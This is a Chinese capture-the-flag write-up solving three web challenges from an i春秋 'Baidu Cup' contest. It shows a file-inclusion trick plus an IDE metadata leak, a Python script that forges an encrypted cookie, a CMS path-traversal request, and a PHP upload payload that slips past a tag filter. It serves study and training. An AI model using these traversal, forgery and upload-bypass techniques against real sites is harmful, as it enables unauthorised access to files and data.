1. 程式人生 > >WP 4 i春秋_百度杯”CTF比賽(九月第一場)

WP 4 i春秋_百度杯”CTF比賽(九月第一場)

CODE

base64檔案包含,.idea目錄結構洩露,加解密

開啟頁面後,看到一張圖片,且連結為如下形式:

http://528c1f8ff4fe439482ce4069e858e805ad9172679385471a.ctf.game/index.php?jpg=hei.jpg

可以看到引數jpg後面跟著一個檔名,檢視網頁原始碼發現,此圖片是採用BASE64編碼形式顯示的。

所以可以採取如下方式

http://...index.php?jpg=index.php

檢視網頁php原始碼(還要經過一步base64解密)。如下:

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8'); if(! isset($_GET['jpg'])) header('Refresh:0;url=./index.php?jpg=hei.jpg'); $file = $_GET['jpg']; echo '<title>file:'.$file.'</title>'; $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file); $file = str_replace("config","_", $file); $txt = base64_encode(file_get_contents($file
)); echo "<img src='data:image/gif;base64,".$txt."'></img>"; /* * Can you find the flag file? * */ ?>

可以看到對jpg的引數進行了一些處理,除了大小寫字母、數字和小數點,都會被刪除,並且config會被轉換成下劃線_

另外注意頭部的註釋,可以看到此程式碼實在phpStorm編寫的。其所使用的IDE環境為intellij idea,而此idea都會在專案根目錄有一個.idea資料夾,其中會洩露原始碼檔名等資訊。

訪問如下網址:

http://528c1f8ff4fe439482ce4069e858e805ad9172679385471a.ctf.game/.idea/workspace.xml

可以看到如下內容

  <component name="FileEditorManager">
    <leaf SIDE_TABS_SIZE_LIMIT_KEY="300">
      <file leaf-file-name="fl3g_ichuqiu.php" pinned="false" current-in-tab="false">
        <entry file="file://$PROJECT_DIR$/fl3g_ichuqiu.php">
          <provider selected="true" editor-type-id="text-editor">
            <state vertical-scroll-proportion="-4.071429">
              <caret line="6" column="3" selection-start-line="6" selection-start-column="3" selection-end-line="6" selection-end-column="3" />
              <folding />
            </state>
          </provider>
        </entry>
      </file>
      <file leaf-file-name="config.php" pinned="false" current-in-tab="false">
        <entry file="file://$PROJECT_DIR$/config.php">
          <provider selected="true" editor-type-id="text-editor">
            <state vertical-scroll-proportion="-6.107143">
              <caret line="9" column="2" selection-start-line="9" selection-start-column="2" selection-end-line="9" selection-end-column="2" />
              <folding />
            </state>
          </provider>
        </entry>
      </file>
      <file leaf-file-name="index.php" pinned="false" current-in-tab="true">
        <entry file="file://$PROJECT_DIR$/index.php">
          <provider selected="true" editor-type-id="text-editor">
            <state vertical-scroll-proportion="0.35359803">
              <caret line="15" column="30" selection-start-line="15" selection-start-column="30" selection-end-line="15" selection-end-column="30" />
              <folding />
            </state>
          </provider>
        </entry>
      </file>
    </leaf>
  </component>

可以看到除了index.php外,還有config.php、fl3g_ichuqiu.php資料夾,如上文所述,index.php中,正好可以構造一下來檢視fl3g_ichuqiu.php檔案的原始碼。如下:

http://528c1f8ff4fe439482ce4069e858e805ad9172679385471a.ctf.game/index.php?jpg=fl3gconfigichuqiu.php

得到fl3g_ichuqiu.php的php原始碼如下

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

function encrypt($txt,$key){
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
    }
    $txt = $tmp;
    $rnd=random(4);
    $key=md5($rnd.$key);
    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $ttmp .= $txt[$i] ^ $key[++$s];
    }
    return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
    $txt=base64_decode($txt);
    $rnd = substr($txt,0,4);
    $txt = substr($txt,4);
    $key=md5($rnd.$key);

    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s];
    }
    for($i=0;$i<strlen($tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);
    }
    return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "╮(╯▽╰)╭";
}
?>

可以看到,下一步是構造一個名字為user的cookie,使得其解密後的值為system

觀察其加解密函式,可以看到加密函式的內容是先在對原文的每個字元+10偏移。然後獲取一個4位的隨機字串,和$key(此變數應該在config.php檔案中,無法得到)連線起來進行MD5作為新的$key。將偏移後的字串與新的$key進行異或,將隨機的四位字串$rnd與異或後的結果連線起來進行base64編碼,即為加密結果。

關鍵在於,我們無法獲取config.php檔案中$key的值,也就無法得到加密時候的md5結果之$key,無法將system進行加密。

分析原始碼,發現在未能解密出system的時候,伺服器會返回guest的加密結果。而通過guest的加密值,我們是能夠逆推回去此次加密所使用的$rnd和前五位$key的值的(因為guest有五位)。所以,在加密system時,加密時的$rnd值可以採用相同的值,所以得到的MD5值就與加密guest所用的$key相同。而加密system需要六位$key的值,那最後一位採用窮舉的辦法。

最後將所有結果都向伺服器傳送一遍,就能得到flag。程式碼如下

#!/usr/bin/python
# coding=utf-8

import base64
import requests

text = 'guest'
crypt = 'YldhV0lHV09O'

crypt = base64.b64decode(crypt)
rnd = crypt[0:4]
crypt = crypt[4:]

text1 = ''
for i in text:
    text1 += chr(ord(i) + 10)

key = ''
for (i, j) in zip(text1, crypt):
    key += chr(ord(i) ^ ord(j))

text = 'system'
text1 = ''
for i in text:
    text1 += chr(ord(i) +10)

cookies = []

for i in '0123456789abcdef':
    key1 = key + i
    tmp = ''
    for (j, k) in zip(text1, key1):
        tmp += chr(ord(j) ^ ord(k))
    cookies.append(base64.b64encode(rnd + tmp))

#r = requests.session()

for i in cookies:
    cookie = {'user':i}
    r = requests.session()
    result = r.get('http://528c1f8ff4fe439482ce4069e858e805ad9172679385471a.ctf.game/fl3g_ichuqiu.php', cookies=cookie)
    print result.text

需要注意的是,不能採用同一個session向伺服器重複傳送請求,這樣會將原本的cookie值也帶著,即伺服器返回的cookie中的user欄位和自己設定的user欄位都會被髮送至伺服器,無法得到結果。

所以每次傳送請求都要新建一個requests的session,最後得到flag如下

flag{de19d81f-2fb9-4176-bb99-79209148630d}

YeserCMS

其實是easyCMS,網上一搜可以看到有大量漏洞。此題看他人的writeup,貌似payload直接被i春秋主站攔截,405錯誤。

略過前面幾步,直接到admin:Yeser231登入,後臺管理這一步。在模板編輯這一塊存在漏洞,點選[編輯]按鈕的時候,會發送一個post請求,獲取檔案原始碼,可以利用此請求獲得flag。

http://c54244941f5543ad9b495a703334da6b8c0a4db052344f91.ctf.game/index.php?case=template&act=fetch&admin_dir=admin&site=default

附帶的post資料為

id=../../flag.php

可以獲得flag

flag{0ffb715a-7289-4704-9ed6-31c54d8820e3

upload

檔案上傳

這道題目能夠上傳檔案,因此可以考慮構造一個php指令碼獲得flag.php檔案的內容。查閱資料的過程中,在這裡看到許多繞過姿勢,可以看到,本題的過濾還是很弱的。

首先上傳了一個php指令碼如下:

<? php

$flag = fopen("../flag.php", "r") or die("unable to open flag.php");
echo fread($flag, filesize("../flag.php"));
fclose($flag);

?>

直接上傳成功,開啟後發現顯示如下:

$flag = fopen("../flag.", "r") or die("unable to open flag."); echo fread($flag, filesize("../flag.")); fclose($flag); ?> 

可以看到,<?php均被過濾了。

對於<?的過濾,可以採用如下方式繞過

<script language="php"> ... </script>

其中php因為被過濾,可以在程式碼中換用大寫字母繞過,程式碼中的“php”可以採用在程式碼中採用大寫字幕,程式轉化為小寫的方式,標籤中的則可以直接改為大寫字母,改為language="pHp"

最後php程式碼如下:

<script language="pHp">

$flag = fopen("../flag.".strtolower("PHP"), "r") or die("unable to open the file!");
echo fread($flag, filesize("../flag.".strtolower("PHP")));
fclose($flag);

</script>

檢視網頁原始碼即可看到flag

flag{062f8e8d-8c94-49c0-8d2f-f37f0eab31e2}